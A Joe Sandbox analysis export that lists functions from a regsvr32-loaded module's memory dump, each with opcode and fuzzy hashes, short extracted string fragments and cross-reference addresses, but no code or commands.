Opcode ID: 63e2519535c0a0a06864801ebef0b78a9df6d39fc0654acb9b8633e279544aec
Instruction ID: 7b4029e1b0f4c6d16455640de175402024ed69906be1bf35ac226dba8d49acae
Opcode Fuzzy Hash: 63e2519535c0a0a06864801ebef0b78a9df6d39fc0654acb9b8633e279544aec
Instruction Fuzzy Hash: 4AC1217111474CCFDBA9CF28C59A6DA3BE8FF48344F10412AFC5A86261C774EA58CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021F7C Relevance: 2.7, Strings: 2, Instructions: 223COMMON

Download Yara Rule

Strings

E!X, xrefs: 00000001800222D6
aT, xrefs: 000000018002216F

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E!X$aT
API String ID: 0-1608121357
Opcode ID: 6891fb2d6db3071f9b84c44756173137ff7b28830fe573994ee80e512644894e
Instruction ID: 4d019785a6b4256ed0cfe79ca05195ecf0bf4926bcad1b682180c0cba5e5cf4f
Opcode Fuzzy Hash: 6891fb2d6db3071f9b84c44756173137ff7b28830fe573994ee80e512644894e
Instruction Fuzzy Hash: 16B12770E0470ECFCB99DFE8C4556EFB7B6FB58388F0081599806A6290DB748719CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C85C Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

i6, xrefs: 000000018000CAC6
5t, xrefs: 000000018000C991

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: i6$5t
API String ID: 0-3127670231
Opcode ID: a253027af394429a069129eb83cd81c4fb0c40bb542b60a20d2aa22b5b78e39c
Instruction ID: 343c37a285082c0d22a0c6c838fe19bbba7b54ff6f1f952ba2714c32cb406723
Opcode Fuzzy Hash: a253027af394429a069129eb83cd81c4fb0c40bb542b60a20d2aa22b5b78e39c
Instruction Fuzzy Hash: B6A1E270D087188FDB69DFB9C88A69DBBF0FB48708F20821DD856A7252DB749949CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002868C Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

t3Z, xrefs: 00000001800287C1
r', xrefs: 0000000180028998

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t3Z$r'
API String ID: 0-3247238830
Opcode ID: 45187aede304d4735527529db4b0bfe1669f1d2749ba8206633b0fe433a295e4
Instruction ID: 1d29c97d450220819c0ed5b60dd6ff5608267f61915941bb22285759947d3464
Opcode Fuzzy Hash: 45187aede304d4735527529db4b0bfe1669f1d2749ba8206633b0fe433a295e4
Instruction Fuzzy Hash: 74A1EC706057CC9FEBB9DF24C8897DE7BA0FB4A344F50461DE88A8E260DB745649CB02

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800180D4 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

N}V, xrefs: 0000000180018346
jt, xrefs: 00000001800183B3

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N}V$jt
API String ID: 0-2926509837
Opcode ID: b049d5321a5d0b8b2c35b06077383899f8fb99c1ca51b799598ed477ff688beb
Instruction ID: 5d852b2b0b88ea82dc6b1cd0fb1e099f39aebf29041bab94b5a0a50aabd496dc
Opcode Fuzzy Hash: b049d5321a5d0b8b2c35b06077383899f8fb99c1ca51b799598ed477ff688beb
Instruction Fuzzy Hash: 64A148B990628CDFCB98DFA8C5CA58D7BB1FF44308F00411AFC169A256D7B4D629CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B618 Relevance: 2.7, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

|I, xrefs: 000000018000B8FC
}r/, xrefs: 000000018000B7D4

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: |I$}r/
API String ID: 0-4123960085
Opcode ID: a5b20f145e2128ebb590cd3c49dff006a35873bd4209483889af058205fdcd1a
Instruction ID: 800e601dd46cbb9d9738628f52141beaff35432bc8d4d1bcfb76f59376750d80
Opcode Fuzzy Hash: a5b20f145e2128ebb590cd3c49dff006a35873bd4209483889af058205fdcd1a
Instruction Fuzzy Hash: 2981F2711047888BDBB9CF28C88A7DA7BA1FB95348F50C219D88ECE261DF75564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B3B8 Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

T;, xrefs: 000000018001B4EA
Fd7, xrefs: 000000018001B403

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fd7$T;
API String ID: 0-1040651304
Opcode ID: 7f0199fa78f26e8ae3d4cfff6d4ba3547f4bc3c86668e4528162529d3c3e3bb8
Instruction ID: 7ffd56a0096037782dccd6a22a1dfddd73a4019a8d8d07411bfc7024195b5d88
Opcode Fuzzy Hash: 7f0199fa78f26e8ae3d4cfff6d4ba3547f4bc3c86668e4528162529d3c3e3bb8
Instruction Fuzzy Hash: 8071E47051074D9FCB89CF24C8C9ADA7FB1FB483A8FA56218FC0696255C774D989CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008BC0 Relevance: 2.6, Strings: 2, Instructions: 132COMMON

Download Yara Rule

Strings

bep, xrefs: 0000000180008D42
o1S[, xrefs: 0000000180008CA1

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: bep$o1S[
API String ID: 0-985821681
Opcode ID: c77bf9ac064369e7680d63b20ce0fc89bb0b2606aa702be6d1acaa4fa6638a8c
Instruction ID: 91a209abfe7e4aeb1d81c4716095da0dca5975d88cd9946800e077bcf0a455c5
Opcode Fuzzy Hash: c77bf9ac064369e7680d63b20ce0fc89bb0b2606aa702be6d1acaa4fa6638a8c
Instruction Fuzzy Hash: C2513A70A0830D8FDB68DFA8C4456EEB7F2FB58358F004519E44AEB290DB349A19CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800087A4 Relevance: 2.6, Strings: 2, Instructions: 127COMMON

Download Yara Rule

Strings

_6#, xrefs: 0000000180008830
u<, xrefs: 0000000180008953

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: _6#$u<
API String ID: 0-4076860791
Opcode ID: 98c419b77e8ba2554e3faf170cbc78b74b026a1788d9e59b3cc1785a688e6d9f
Instruction ID: 493e3a016aefd0e8f5cec56f814c132ed6dac505d4b0458c18be2d4878a88dba
Opcode Fuzzy Hash: 98c419b77e8ba2554e3faf170cbc78b74b026a1788d9e59b3cc1785a688e6d9f
Instruction Fuzzy Hash: D451C0B190070A8BCB48CF68C4965DE7FB1FB68394F24422DE856A6350D3749AA5CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010590 Relevance: 2.6, Strings: 2, Instructions: 126COMMON

Download Yara Rule

Strings

Nz, xrefs: 0000000180010605
Nz, xrefs: 0000000180010790

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Nz$Nz
API String ID: 0-3618188535
Opcode ID: f1f9fac336b8da8ff6122659e216f65e6467f6a7eb6b837c99e1b7255e82ae59
Instruction ID: b98bb35d41bec71e3509b0825005519e10211f24d4dcfaaa5e415a9a600f37b2
Opcode Fuzzy Hash: f1f9fac336b8da8ff6122659e216f65e6467f6a7eb6b837c99e1b7255e82ae59
Instruction Fuzzy Hash: 7761D97060478C9FDBB9CF54D8857DE3AA1FB46344F60851AA88E8A250CFB45788CB43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023B48 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

10W, xrefs: 0000000180023BA8
ra", xrefs: 0000000180023CC4

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 10W$ra"
API String ID: 0-3432184507
Opcode ID: fd02e9085198f1ee23cd325c43483fe701dbbe4b729f3c21db55c4e968cbf284
Instruction ID: 1603a0fb70214c4199dc1879cc592ce20ce94242888b692f3a5634201c3c6fcf
Opcode Fuzzy Hash: fd02e9085198f1ee23cd325c43483fe701dbbe4b729f3c21db55c4e968cbf284
Instruction Fuzzy Hash: 215106B1D0070E8BCF48DFA5C48A5EEBFB1FB58358F218109E815A6260D7B49695CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E06C Relevance: 2.6, Strings: 2, Instructions: 111COMMON

Download Yara Rule

Strings

e, xrefs: 000000018000E10E
Dm"i, xrefs: 000000018000E21D

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Dm"i$e
API String ID: 0-579088429
Opcode ID: 1da592fe1c5b87024080557b40311a255aea64fd983cac56dc8e0bfd413ff1a3
Instruction ID: ff289f4c4decf21b808411560f97a6ae0bbfde48fa9fd21a36285b9362365cbb
Opcode Fuzzy Hash: 1da592fe1c5b87024080557b40311a255aea64fd983cac56dc8e0bfd413ff1a3
Instruction Fuzzy Hash: 1251A1B180038ECFCF88CF68D8865CE7BB0FF58358F105A19E865A6260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016088 Relevance: 2.6, Strings: 2, Instructions: 102COMMON

Download Yara Rule

Strings

. 9, xrefs: 00000001800161DB
j~F, xrefs: 00000001800161A0

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: . 9$j~F
API String ID: 0-3982525500
Opcode ID: 8e27ed3e49b3a332b1e9bdfaf9f41fe9f17daf01a485ce033b7626c7aaf20959
Instruction ID: 73f587e096f547b5323f36eeea6c902c11c99e62676f2e49b342c8d806439c0b
Opcode Fuzzy Hash: 8e27ed3e49b3a332b1e9bdfaf9f41fe9f17daf01a485ce033b7626c7aaf20959
Instruction Fuzzy Hash: C951E3B190034A8FCF48CF68C5864EE7FB1FB58398F50461DE85AAA250D37896A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001CABC Relevance: 2.6, Strings: 2, Instructions: 98COMMON

Download Yara Rule

Strings

<>, xrefs: 000000018001CBA5
u_", xrefs: 000000018001CC0E

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <>$u_"
API String ID: 0-3712044913
Opcode ID: 54a7279f070d6e0e1cb936a4c41fbfa7e6deebc7b08f576cf545ddb7c45c5dbd
Instruction ID: 00705162336351badf1f89c020232bf89398a1e9550ad3a4c6adce9a79b90856
Opcode Fuzzy Hash: 54a7279f070d6e0e1cb936a4c41fbfa7e6deebc7b08f576cf545ddb7c45c5dbd
Instruction Fuzzy Hash: FC51BFB090034E8FCB48CF69D48A5DE7FB1FB58398F104619E856AA250D37496A8CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011CCC Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

Wm, xrefs: 0000000180011CEE
`W, xrefs: 0000000180011DA6

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Wm$`W
API String ID: 0-829970788
Opcode ID: 1814abb82c64624d0c82e6b0c2fd8fef1d44b2e07111184ee76eb17802e65ade
Instruction ID: 3e5335a01fca1db20c73b4a4a46b2fe43dbf21032e81bd0b2231691c24575172
Opcode Fuzzy Hash: 1814abb82c64624d0c82e6b0c2fd8fef1d44b2e07111184ee76eb17802e65ade
Instruction Fuzzy Hash: F041C070D1461C8FCF48DFA9D886ADDBBB0FB48304F20821DE456B6260C7789948CF69

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B1D4 Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

7M, xrefs: 000000018002B269
kJz, xrefs: 000000018002B312

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 7M$kJz
API String ID: 0-1286445197
Opcode ID: 98bdb79501751698457a0c63b58abd008b0bb4ffe469ed6aba7912a1c6e09250
Instruction ID: 73e64fa095a73a4e7c26ce88557ae34d60ddb43780546a58e46c5e1049f230da
Opcode Fuzzy Hash: 98bdb79501751698457a0c63b58abd008b0bb4ffe469ed6aba7912a1c6e09250
Instruction Fuzzy Hash: E441D5B180034E9FCB48CF68D48A5DEBFB0FB58398F118619F815AA260D7B49694CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029C6C Relevance: 2.6, Strings: 2, Instructions: 90COMMON

Download Yara Rule

Strings

gJk, xrefs: 0000000180029D41
NKi, xrefs: 0000000180029CFC

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NKi$gJk
API String ID: 0-746334108
Opcode ID: 58a5bce911c0f09ef1344d541f8e13db5683852ad3f58203c0096be295061b76
Instruction ID: 370847f9a3576a2127be3913012de96f7d2fcf003f6ba5f8aec55f91b5c1372d
Opcode Fuzzy Hash: 58a5bce911c0f09ef1344d541f8e13db5683852ad3f58203c0096be295061b76
Instruction Fuzzy Hash: AD41C3B091034A8FCB48CF68C48A5DE7FF0FB28398F104619E815A6250D37496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FC8C Relevance: 2.6, Strings: 2, Instructions: 86COMMON

Download Yara Rule

Strings

97", xrefs: 000000018000FCC1
lND, xrefs: 000000018000FCF0

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 97"$lND
API String ID: 0-255837067
Opcode ID: 9f2144797edb960c4800540d43b86211ccc900e5f41a7482899803b998be048c
Instruction ID: fdd228a39bc21f447827aa5875072745b1c1c90cd936de3499e4094daaa9051d
Opcode Fuzzy Hash: 9f2144797edb960c4800540d43b86211ccc900e5f41a7482899803b998be048c
Instruction Fuzzy Hash: 2F41D4B080038E8FCB48CFA8D8865DE7BF0FB48358F504609E86AA6250D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025374 Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

<\, xrefs: 0000000180025420
P, xrefs: 0000000180025435

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <\$P
API String ID: 0-3329260309
Opcode ID: 58da91c3c3294d218300734e2334eac2d42de78c76df722d29d8bba67d1a0edb
Instruction ID: 7a6472800a972813acd2230f771f615073e8df7510407cf225569f4894f6b0d7
Opcode Fuzzy Hash: 58da91c3c3294d218300734e2334eac2d42de78c76df722d29d8bba67d1a0edb
Instruction Fuzzy Hash: AC41A2B181034DCFDB44CF68C88A5DE7FF0FB58358F104619E869A6250D7B89698CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800083F8 Relevance: 2.6, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

&Z];, xrefs: 000000018000850F
j,, xrefs: 000000018000847C

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &Z];$j,
API String ID: 0-1323350831
Opcode ID: 0816880f4d87a32c826b6eaf935fab6bcbeafe9302e1cf1b19fce18330a9178f
Instruction ID: 4d52acf51d445db6beda3a26974f1176594abf5478927dcbf805cd9d8e8fa18c
Opcode Fuzzy Hash: 0816880f4d87a32c826b6eaf935fab6bcbeafe9302e1cf1b19fce18330a9178f
Instruction Fuzzy Hash: 9F31DEB190074E8BCF48DF24C88A1DE3BA1FB28798F50461DFC5696250D7B4D6A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026C80 Relevance: 2.6, Strings: 2, Instructions: 72COMMON

Download Yara Rule

Strings

'd=, xrefs: 0000000180026CB8
Y6C, xrefs: 0000000180026D27

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'd=$Y6C
API String ID: 0-2002142494
Opcode ID: fd35d43619dc3a263a01b5f940063c5335a5c98091513a5ed1770b6a4388dd96
Instruction ID: ccf6aaa63b1aa8c6b30d000549e8006a3e599278b8e3fc9790a4e3cb01e02506
Opcode Fuzzy Hash: fd35d43619dc3a263a01b5f940063c5335a5c98091513a5ed1770b6a4388dd96
Instruction Fuzzy Hash: 744191B190034E9FCB44CFA8D48A5DEBFF0FB58398F205619E81AA6250D3B49694CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010250 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

Cm)X, xrefs: 00000001800102FF
27A, xrefs: 000000018001033E

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 27A$Cm)X
API String ID: 0-3608389941
Opcode ID: e0490a94f28e6ce23732593848f5f9e9112bddaf8c3b402d699b48d1b456956c
Instruction ID: 684b918ddde8746cffb287e87a4350d0062747792986074a3c358ea6f2ed809a
Opcode Fuzzy Hash: e0490a94f28e6ce23732593848f5f9e9112bddaf8c3b402d699b48d1b456956c
Instruction Fuzzy Hash: 15316FB46187848B8348DF28D59551ABBE5FBCC308F404B2DF4CAAB360D778D644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E8F0 Relevance: 2.6, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

?oCf, xrefs: 000000018000E9C7
Wu, xrefs: 000000018000E9D3

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?oCf$Wu
API String ID: 0-2445847193
Opcode ID: b07007c7df8fdcff1a3a12132ff18166943f80f753e521aa0974c7cb649c130d
Instruction ID: 6e752a1dbd70b7d88cda0fb1d20915d08c65693f2945daa64a17bfbf07288bfe
Opcode Fuzzy Hash: b07007c7df8fdcff1a3a12132ff18166943f80f753e521aa0974c7cb649c130d
Instruction Fuzzy Hash: 5E21AEB55187848B83489F28C44A41ABBE0FB8C70DF504B2DF8DAA6260D778D646CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001586C Relevance: 2.6, Strings: 2, Instructions: 61COMMON

Download Yara Rule

Strings

KO, xrefs: 0000000180015880
0F6 , xrefs: 00000001800158BC

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0F6 $KO
API String ID: 0-276686719
Opcode ID: 6205ceb11bb6b662748add8c297f1b443fa17d6724776aa75fc58f5dae511f0b
Instruction ID: 15a0bfab9284e0424f8d805b4637dfad6d31782236c6d70db9798c35a47a8228
Opcode Fuzzy Hash: 6205ceb11bb6b662748add8c297f1b443fa17d6724776aa75fc58f5dae511f0b
Instruction Fuzzy Hash: AB21AD755283808FC368DF68C58614BBBF0FB86748F504A1DFAC686261D7B6D805CB47

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800226E0 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

tSA, xrefs: 0000000180022777
p, xrefs: 0000000180022723

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: p$tSA
API String ID: 0-3551818358
Opcode ID: 99011765d78b2b4d15352d42fcf875ddc55d3d35c100f7abdde6317782da955f
Instruction ID: dafa682f426fd7c4027cc0dc28289443c8a7082daafb3c1476061bf3b97c4e55
Opcode Fuzzy Hash: 99011765d78b2b4d15352d42fcf875ddc55d3d35c100f7abdde6317782da955f
Instruction Fuzzy Hash: 4A2169B45183858BD788DF28C54A50BBBE0BBCD74CF400B2DF4CAA6260D378D644CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BA8 Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

8r.F, xrefs: 0000000180017C4D
P?, xrefs: 0000000180017C2D

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8r.F$P?
API String ID: 0-1060054278
Opcode ID: 69901aac6ce1aef3d4959f7919bc5ecc16501e8ce7d01dbb2ce958a2c67dc727
Instruction ID: b2da1e8a0f89ffdbcd525e428a91df6a678b185604bab408c7dee67f2374b2b0
Opcode Fuzzy Hash: 69901aac6ce1aef3d4959f7919bc5ecc16501e8ce7d01dbb2ce958a2c67dc727
Instruction Fuzzy Hash: DC2179B45187849BC749DF68D44A41ABBE0BB9C71CF800B5DF4CAAA310D3B8D645CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002490C Relevance: 1.8, Strings: 1, Instructions: 516COMMON

Download Yara Rule

Strings

<>, xrefs: 0000000180024BF5

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: <>
API String ID: 0-1927776135
Opcode ID: 37c3f39876e999beb0937df684067ca5812f0cda9578e561258942df6de8421c
Instruction ID: 9b9c084f2c1b1f08cb5858c99f1f27cbdd47ca95557f3058ff07422eb4e47033
Opcode Fuzzy Hash: 37c3f39876e999beb0937df684067ca5812f0cda9578e561258942df6de8421c
Instruction Fuzzy Hash: F742047190438C9BDBB9CFA8D8CA6DD7BB0FB58314F20421DD80A9B261DB745A85CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023DDC Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

j=, xrefs: 000000018002420E

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: j=
API String ID: 0-592141216
Opcode ID: 1169f1869d3fb428bfdad968f94ee3f32c89471e58a558a0d80dd63f76afa428
Instruction ID: 9003355423bafd58b5275d98cfc2247977288ca0e37ad1cbcdd73f3390e5cf1b
Opcode Fuzzy Hash: 1169f1869d3fb428bfdad968f94ee3f32c89471e58a558a0d80dd63f76afa428
Instruction Fuzzy Hash: 6BD1397150074D8BDF89DF28C89A6DE3BA0FB58398F55522CFC4AA6250C778D998CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001ABE8 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

!O, xrefs: 000000018001AFBF

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !O
API String ID: 0-2378650393
Opcode ID: 302dfdcfbb7bb296299c3bc274bc73d8feb87790668f515a7c841834ed93dc2b
Instruction ID: 4170ec84c9d3f49002394f5178db7bb3edfe66952fd3c2890134f0e6da5031b0
Opcode Fuzzy Hash: 302dfdcfbb7bb296299c3bc274bc73d8feb87790668f515a7c841834ed93dc2b
Instruction Fuzzy Hash: F2E10A711087C88BDBFADF64C88ABDE3BACFB44748F105519EA0A9E258CB745748CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001100C Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

^Lu, xrefs: 0000000180011210

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^Lu
API String ID: 0-3854589714
Opcode ID: fb3768cccb7a26f6a89fbcd18e8308750f02c0f1f73e9d8b382492f454794486
Instruction ID: 7c859a126a25bd0c02bef77f14247f717a5a9adcaacfb9e6f8c6730b8303fd88
Opcode Fuzzy Hash: fb3768cccb7a26f6a89fbcd18e8308750f02c0f1f73e9d8b382492f454794486
Instruction Fuzzy Hash: E4A128709047498FCB9DCF68C88A6EEBBF1FF48384F204119EA46A7250D7759A85CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007634 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

Z", xrefs: 000000018000792A

Memory Dump Source

Source File: 00000003.00000002.917541181.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Z"
API String ID: 0-1896177830
Opcode ID: 85f6676341921d6f483625aa17b45c04f6466e2be55beb334fa49e51010a1540
Instruction ID: 91163448777d7afc4cc80e296cb9cfbd8772b1902329242c75d45222aab24025
Opcode Fuzzy Hash: 85f6676341921d6f483625aa17b45c04f6466e2be55beb334fa49e51010a1540
Instruction Fuzzy Hash: C0A165B590060DCFCBA8CF78D15A68E7BF1BB04308F606129EC269A262E774D619CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180028394 Relevance: 1.4, Strings: 1, Instructions: 179COMMON

Download Yara Rule

Strings

e8f2, xrefs: 000000018002840B

Memory Dump Source

